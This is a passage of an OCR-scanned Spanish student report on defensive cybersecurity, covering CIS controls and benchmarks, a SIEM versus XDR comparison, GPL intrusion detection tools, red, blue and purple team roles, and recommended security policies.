y que se incluyan solo aquellos controles demostrados para detener atagues

conocidos en el mundo real.

16 “¢QUE ES Purple Team en ciberseguridad? [Anénimo]. KeepCoding Bootcamps [pagina web]. [Consultado el 25, marzo,
2024]. Disponible en Internet: <https://keepcoding.io/blog/que-es-purple-team-en-cibersequridad/>".
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2. Priorizacion: hay que invertir primero en los controles que proporcionan la
mayor reduccion de riesgos y proteccion contra los actores mas peligrosos y

gue se puedan implementar de manera variable en el entorno informatico.

3. Mediciones y métricas: establecer parametros comunes para proporcionar un
lenguaje compartido para alta gerencia, personal Tl, auditores y funcionarios
de seguridad para medir la efectividad de las medidas de seguridad dentro
de la organizacion de tal modo que se puede identificar e implementar

inmediatamente.

4. Diagnostico y mitigacion continuos: realizar mediciones continuas para
probar y validar la efectividad de las medidas de seguridad actuales y para
ayudar a dirigir la prioridad de los pasos a seguir

5. Automatizacion: automatice las defensas para que las organizaciones
puedan lograr mediciones confiables, escalables y continuas de su adhesion

a los controles y las métricas relacionadas.!’ (cisecurity, 2024)

17 “CONTROLS THANK You [Andnimo]. CIS Center for Internet Security [pagina web]. [Consultado el 25, marzo, 2024].
Disponible en Internet: <https://learn.cisecurity.org/controls-v71-thank-you>".
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CIS Control 7: System Entity Relationship Diagram

Configuration
Enforcement
System

I: Software $
Whitelisting
Network URL
. & DNS Filters ool
Computing
Systems
Alerting / Reporting .
Analytics System
Anti-Spam
Gateway

llustracion 48 autoria cis controls

Hay 7 puntos béasicos en los puntos de referencia de ICS

1. Los puntos de referencia en los sistemas operativos: dentro de los cuales se
encuentran configuraciones como Microsoft Windows, Linux y Apple, donde
se incluyen directrices de cada una de las practicas recomendadas en cuanto
a restricciones de acceso remoto, en los perfiles de usuario y configuraciones
en los navegadores de internet, incluyendo minuciosamente cada proceso de

instalacion de cero en los equipos de computo.
2. Los puntos de referencia de software de servidor: la cual cubre cada una las

fases de instalacion también desde cero del servidor principal y de cada uno

d ellos aplicativos de uso vital, incluyendo Microsoft Windows, SQL,
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servidores virtuales, incluyendo la administracibn propia del servidor,

politicas de la red y de almacenamiento

Los puntos de referencia de proveedor de nube: el cual abarca todos los tipos
de configuracién para servicios en la nube como los son AWS, Azure,
Google, IBM y otras nubes de almacenamiento publico, donde también se
identifican los protocolos de acceso al sistema y medidas de seguridad segun

normatividad.

Los puntos de referencia de dispositivos mdéviles: abordan los sistemas
operativos moéviles incluyendo Android y los, también centrados en las

configuraciones principales y configuraciones de privacidad.

Los puntos de referencia de dispositivos de red: ofrecen las respectivas

configuraciones tanto para dispositivos Cisco, Palo Alto Juniper y otros

Los puntos de referencia de software de desktop: cubren configuraciones
basicas por ejemplo Google Chrome, Mozilla Firefox, centrando cada punto
en la seguridad de los Email y el bloqueo del software malicioso por parte de

terceros

Los puntos de referencia de dispositivo de impresion multifuncion:
demuestran las mejores practicas en cuanto a la seguridad de impresoras
multifuncionales. firmware. TCP/IP, acceso inalambrico, gestion de usuarios

y uso compartido de archivos

Para la descarga de las respectivas guias las cuales ya se encuentran actualizadas,

se realizan desde el siguiente link seleccionando la versiéon que se desee trabajar'®

18 “CIS CONTROLS [Andnimo]. CIS Center for Internet Security [pagina web]. [Consultado el 25, marzo, 2024]. Disponible en

<https://learn.cisecurity.org/cis-controls-
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(CONTROLS, 2024), hay que

registrarse en el siguiente link

https://learn.cisecurity.org/controls-v71-thank-you

5. Debera documentar mediante la elaboracion una tabla las diferencias existentes

entre: SIEM y XDR.

SIEM

XDR

Detecta patrones de acceso fuera de lo

comun en tiempo real

de

procedentes de multiples capas,

Suministra datos actividad
la
informacién se centraliza de una forma
mas estructurada para una correlacion

y analisis efectivo

Centraliza los riesgos de seguridad
para ser interpretados y ejecutarlos en
tiempo real y tener una actuacion

inmediata.

Mejora las capacidades de analisis de
seguridad y optimiza los flujos de
trabajo y los esfuerzos de los equipos
de trabajo acelerando y eliminando
pasos manuales, habilitando
visualizaciones y analisis que se

pueden gestionar inmediatamente.

Identificar entre amenazas reales y

falsos incidentes

Capacidad para bloquear y permitir el
trafico en cada proceso.'® (LAB, 2024)

Monitorizar de forma centralizada todas

las amenazas potenciales

Ayuda a los equipos de seguridad a
recuperarse rapidamente de un ataque
eliminar

al archivos y claves de

registros maliciosos, mediante

sugerencias de correccion.

download?_gl=1*1t27w39* _ga*MTIxNzg1NjYxMi4xNzExNDA2NDgw*_ga_N70Z2MKMD7*MTcxMTQWNjQ4MCAxXLjAUMTcx
MTQWNjQAMC42MCAWLIA*_ga_3FW1BL1ICI8*MTcxMTQWNQAMCAXLJAUMTCXMTQWN]QAMCAWLJAUMA. >,

19 “¢ QUE ES la deteccion y respuesta ampliadas (XDR)? [An6nimo]. latam.kaspersky.com [pagina web]. [Consultado el 26,
marzo, 2024]. Disponible en Internet; <https://latam.kaspersky.com/resource-center/definitions/what-is-xdr>".
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https://latam.kaspersky.com/resource-center/definitions/what-is-xdr

conocimiento sobre los incidentes para

facilitar su resolucion

Redirigir a amenaza  personal | Se puede usar como herramienta para

potencialmente especializado la agregacion de datos y supervision de
sistemas y asi alertar a los equipos de
seguridad

Aportar un  mayor grado de | Puede ser usado como repositorio de

informacién sobre los nuevos eventos

Documentar todo el proceso de

deteccidn, actuacion y resolucion

Consolida una gran cantidad de alertas
de

incidentes que pueden priorizarse para

en un numero mucho menor

investigacion manual

Cumplir con las normas y legislaciones
vigentes en cuestion de la proteccion de

datos y seguridad.?° (Team, 2021)

Proporciona opciones de respuesta que
se extienden mas alla de los puntos de

control de la infraestructura, incluida la

red, la nube, para ofrecer una
proteccion integral.

Automatiza tareas para mejorar
productividad

Genera mayor eficiencia en cualquier

proceso

6. “Defina por lo menos 3 herramientas de deteccion de ataques informaticos con

licencia GPL”.

Licencia GPL: su sigla se define como “La Licencia Publica general GNU”,

es la mas usada en el mundo del software la cual garantiza a los usuarios

20 “,QUE SIGNIFICA SIEM y cémo funciona? [Anénimo]. Ambit BST | Consultoria regulatoria y de calidad en sector salud
[pagina web]. [Consultado el 26, marzo, 2024]. Disponible en Internet: <https://www.ambit-bst.com/blog/qué-significa-siem-y-
como-funciona>".
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finales (personas, empresas) la libertad de usar, copiar y modificar software,
por ende, es conocida y prestigiosa en el mundo de cédigo abierto.?* (ATWP,
2024)

Free as in Freedom

SNORT: Snort Open Source es un sistema de deteccion de intrusos en red,
libre y gratuito. El sistema de deteccion de intrusiones basado en red
implementa un motor de deteccién de ataques y barrido de puertos que

permite registrar, alertar y responder ante cualquier anomalia en tiempo real.

SURICATA: Suricata es un sistema de deteccion y prevencion de intrusiones
de red (IDPS) y un monitor de seguridad de red (NSM) de c6digo abierto. Se
utiliza para analizar el trafico de red en busca de patrones sospechosos o

amenazas, como ataques de intrusion, malware, o actividades maliciosas.

2 “.QUE ES GPL? Definicion de la licencia (General Public License) [An6nimo]. ArmaTuWP [pagina web]. [Consultado el
26, marzo, 2024]. Disponible en Internet: <https://armatuwp.com/que-es-gpl/>".
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2

SURICATA

TRONCO GRIS: es una de las herramientas centralizadas de andlisis y
recopilacion de registros mas répidas para su pila de aplicaciones,

operaciones de Tl y operaciones de seguridad.
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ETAPA 5 - SOCIALIZACION DE INFORME TECNICO

“De qué manera pueden aportar en el campo de la ciberseguridad la integracion de
equipos blue team, red team y purple team al mismo tiempo dentro de una

organizacion”.

La organizacion de los equipos Red Team y Blue Team son muy importantes en las
empresas, ya que representan una barrera de contencién con personas que tienen
habilidades y conocimientos para atacar y contra restar los ataques informaticos,
los equipos desarrollan labores fundamentales en cuanto a la seguridad informatica

siendo de vital importancia cada funcion.

Estos equipos ademas de formar parte integral de las empresas propenden o mas
bien proponen compromiso en todas las areas, ya que los temas de seguridad
informatica son una tarea de todos, es el compromiso de salvaguardar los activos
de la empresa con bastante rigor y compromiso, lo cual no depende de solamente
de los equipos de seguridad, entre todos con un trabajo en equipo y con una buena
orientacion podemos llegar a un acuerdo de conocimiento y una base para

salvaguardar la informacién.

El trabajo en conjunto con los equipos de red team y blue team es enriquecedor ya
gue nos brindan atagues en tiempo real sobre la infraestructura, este hecho impulsa
a ser mucho mas precavidos y a tener ensefianza y preparacion para eventos

futuros.

Existen caracteristicas principales dentro de los equipos de red team y blue team
las cuales son importantes resaltar dentro del trabajo de los tres equipos en conjunto
ya que entre los tres equipos generan las estrategias para las defensas de las

compafias.
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En la siguiente imagen se puede observar las funciones principales de cada uno de

los equipos de trabajo:

6 BLUE TEAM E PURPLE TEAM % RED TEAM

Defiende a la organizacién

frente a las ciberamenazas

Junta y coordina al equipo
rojo y azul para maximizar

Emula amenazas para

poner a prueba las defensas

sus capacidades

de la organizacién
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Blue Team: al tratarse de un equipo de trabajo, son los encargados de defender a
las empresas de las amenazas cibernéticas, los cuales informan al equipo purple y
se realiza un trabajo en equipo para la atencion de incidentes en seguridad

informatica.

Red Team: simula las amenazas y pone a prueba las defensas adquiridas en la
empresa, asegurando una identificacion y eliminacion minuciosa ante un atague

cibernético, ademas de informar también al equipo purple team.
Purple Team: es el equipo encargado de unir los conceptos y el trabajo realizado

por los equipos red team y blue team, encontrando en conjunto la defensa necesaria

en la empresa, el como atacar y el cOmo proteger los activos criticos
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“Plantee politicas de seguridad y recomendaciones para mejorar los aspectos de

ciberseguridad en cualquier organizacioén en sus entornos T.l.”

POLITICAS DE SEGURIDAD INFORMATICA

Politica para uso de dispositivos moviles: dentro de la cual se establece el uso
restringido de la red wifi exclusivo para fines empresariales y para uso de la

empresa.

Politica de seguridad para los recursos humanos: se realiza con el fin de que
los colaboradores desde las altas gerencias adopten responsabilidades propias

para la seguridad informatica.

Politica de gestion de activos de informacion: la encargada de gestionar limites

frente a la identificacion uso y administracion de los activos de la empresa.

Politica de uso de estaciones de trabajo: los computadores y estaciones de
trabajo suministrados por la empresa se asegura de que mantendra todos sus
sistemas operativos actualizados y aplicaciones y que ademas los usuarios realicen

las labores netamente empresariales.

Politica de uso de internet: se establecen los lineamientos de navegacion segura

y el uso adecuado de la red de la empresa.

Politica de control de acceso: donde se definen los accesos a las instalaciones
(fisicas) y a los equipos de cOmputo y se establecera un cronograma de

mantenimiento para asi mismo garantizar los servicios prestados por la empresa.

Politica de establecimiento, uso y protecciéon de claves de acceso: se debe
gestionar y concientizar a los usuarios por medio de capacitaciones y de ingenieria

social sobre los riesgos informaticos.
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Politica de escritorio y pantalla limpia: el personal de la empresa debe conservar
y mantener el escritorio de su pc limpio y libre de informacion propia de la empresa

la cual puede ser copiada, ademas de realizar bloqueo del equipo cuando no esté

en uso.
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RECOMENDACIONES

La ciberseguridad es algo que nos compete a todos los que hacemos uso de la
tecnologia, partiendo desde la cultura que se debe tener en navegacion,
visualizacion de correos y archivos web desde la parte personal o desde la parte
empresarial la implementacion de politicas puede llegar a reducir los riesgos en las
compafias.

Implementar y configurar restricciones de acceso para cada usuario que tiene
acceso a la red ya que con esto se contiene que ingresen virus y accesos externos,

ya sea para accesos administrativos y de acceso de lectura.

Establecer acceso de doble factor doble autenticacién, esto para el correo

electrénico ya sea de la plataforma de la cual la empresa realice su uso.

Revisién de permisos sobre carpetas compartidas y accesos al servidor, realizar

cambios de contrasefia continuas con el nivel de complejidad sugerido.

Establecer un sitio fisico de control operativo, donde se puedan visualizar en tiempo
real, las conexiones y la navegacion interna de la empresa , para asi lograr
mantener la continuidad del negocio con los servicios criticos, empezando desde el
monitoreo de ups , hasta la planta eléctrica del lugar donde se encuentren las
instalaciones, y de esta forma también validar con los equipos de red team blue
team y purple team con ataques cibernéticos que tan preparada esta la empresa
para la mitigacién de un ataque cibernético.

Establecer un sistema de Backup ya sea en cinta, en nube Revisién continua de los
sistemas de backup, para la no afectacion tardia del servicio ante un desastre

natural o humano.
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CONCLUSIONES

La comprension realizada a lo largo de este informe es resaltar la claridad y
el conocimiento que deben tener los equipos de seguridad informética, con
los cuales se pueden detectar y retener los ataques informaticos y las
falencias que se estén presentando en las actividades diarias de la empresa.
Acudir a las nuevas tecnologias que podemos encontrar y ejecutar los
servicios que se pueden obtener desde Linux para realizar monitoreos y
simulaciones en red.

La ciberseguridad es tan importante que se hace muy necesario realizar
ingeniera social en la empresa, capacitaciones al personal, para asi mismo
cuando se tengan la minima sospecha, saber como actuar o simplemente
dar un informe oportuno para actuar.

Dar a conocer las leyes sobre la seguridad informatica y concientizar que no
es un juego la ciberseguridad y sensibilizar el riesgo que corre el activo mas
importante de la empresa con tan solo dar clic en un correo sospechoso.
Identificacion de las amenazas y vulnerabilidades encontradas desde CVE
en cuanto a sistemas operativos y aplicaciones, lo cual puede ser aplicable
en cualquier momento en la empresa.

Acatar las normas y codigos de seguridad informética en cuanto a lo publico
y lo profesional, para nuestro caso las leyes colombianas y la profesional
como lo es COPNIA
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